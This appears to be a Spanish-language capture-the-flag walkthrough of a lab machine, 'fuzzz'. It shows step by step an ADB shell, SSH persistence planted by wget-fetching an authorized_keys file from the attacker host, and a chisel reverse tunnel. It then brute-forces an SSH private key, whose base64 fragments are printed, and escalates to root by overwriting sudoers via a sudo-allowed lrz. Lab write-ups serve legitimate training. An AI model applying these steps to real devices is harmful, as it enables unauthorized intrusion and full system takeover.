Enumeramos puertos (sistema Android con ADB):
❯ nmap -sCV -p 22,5555 -oN 02-targeted.txt 192.168.1.14
...
22/tcp open ssh OpenSSH 9.9 (protocol 2.0)
5555/tcp open adb Android Debug Bridge (token auth required)
Service Info: OS: Android; ...Nos conectamos al ADB y obtenemos una shell (que expira), así que plantamos un authorized_keys para entrar por SSH como runner:
❯ adb connect 192.168.1.14
❯ adb shell
/ $
~/.ssh $ wget http://192.168.1.5:8000/authorized_keys
❯ ssh runner@192.168.1.14 -i id_rsa
fuzzz:~$Hay un puerto 80 local; hacemos remote forwarding con chisel:
❯ ./chisel server -p 5000 --reverse
fuzzz:~$ ./chisel client 192.168.1.5:5000 R:8001:127.0.0.1:80Enumerando vemos endpoints /line, /line1.../line5, cada uno con un fragmento de una clave SSH en base64 que se construye carácter a carácter (cada prefijo válido devuelve 200). Hacemos fuerza bruta con un script que reconstruye cada fragmento:
❯ cat brute_2.py
import requests, string
from concurrent.futures import ThreadPoolExecutor, as_completed
from pwn import log
def brute_force_dir(base_url, max_workers=50):
charset = ''.join(c for c in string.printable if c not in '#?.')
for i in range(1, 6):
path = ""
line_url = f"{base_url}{i}/"
...
while True:
... # prueba cada carácter, si da 200 lo añade al path
bar.success(f"Found path: {line_url}{path}")
if __name__ == "__main__":
brute_force_dir("http://127.0.0.1:8001/line")❯ python brute_2.py
[+] [line1] ... b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
[+] [line2] ... QyNTUxOQAAACArnEFFrjDI6rYt5GmUDxMvSeX3pcn0GGBfgo1EQtXpgwAAAJDS3+5f0t/u
[+] [line3] ... XwAAAAtzc2gtZWQyNTUxOQAAACArnEFFrjDI6rYt5GmUDxMvSeX3pcn0GGBfgo1EQtXpgw
[+] [line4] ... AAAEBCjeRitoZJIm1c4i0VD2Muw5nqgb7zC13vMaxS/la+vSucQUWuMMjqti3kaZQPEy9J
[+] [line5] ... 5felyfQYYF+CjURC1emDAAAACWFzYWhpQHBoaQECAwQ=Juntando los fragmentos en base64 reconstruimos la id_rsa de asahi y entramos:
❯ ssh asahi@192.168.1.14 -i id_rsa_asahi
fuzzz:~$Obtenemos la primera flag. Revisamos sudo -l:
fuzzz:~$ sudo -l
...
User asahi may run the following commands on fuzzz:
(ALL) NOPASSWD: /usr/local/bin/lrzlrz (recepción de archivos ZMODEM) ejecutado en /etc nos permite escribir un archivo sudoers que nos da todos los permisos:
fuzzz:~$ cd /etc
fuzzz:/etc$ sudo /usr/local/bin/lrz --tcp-server
connect with lrz --tcp-client "fuzzz.hmv:33291"
❯ cat sudoers
asahi ALL=(ALL:ALL) NOPASSWD: ALL
❯ lrzsz-sz --tcp-client 192.168.1.14:33291 --append sudoers
fuzzz:/etc$ sudo su
/etc # whoami
rootObtenemos nuestra flag.
Fin.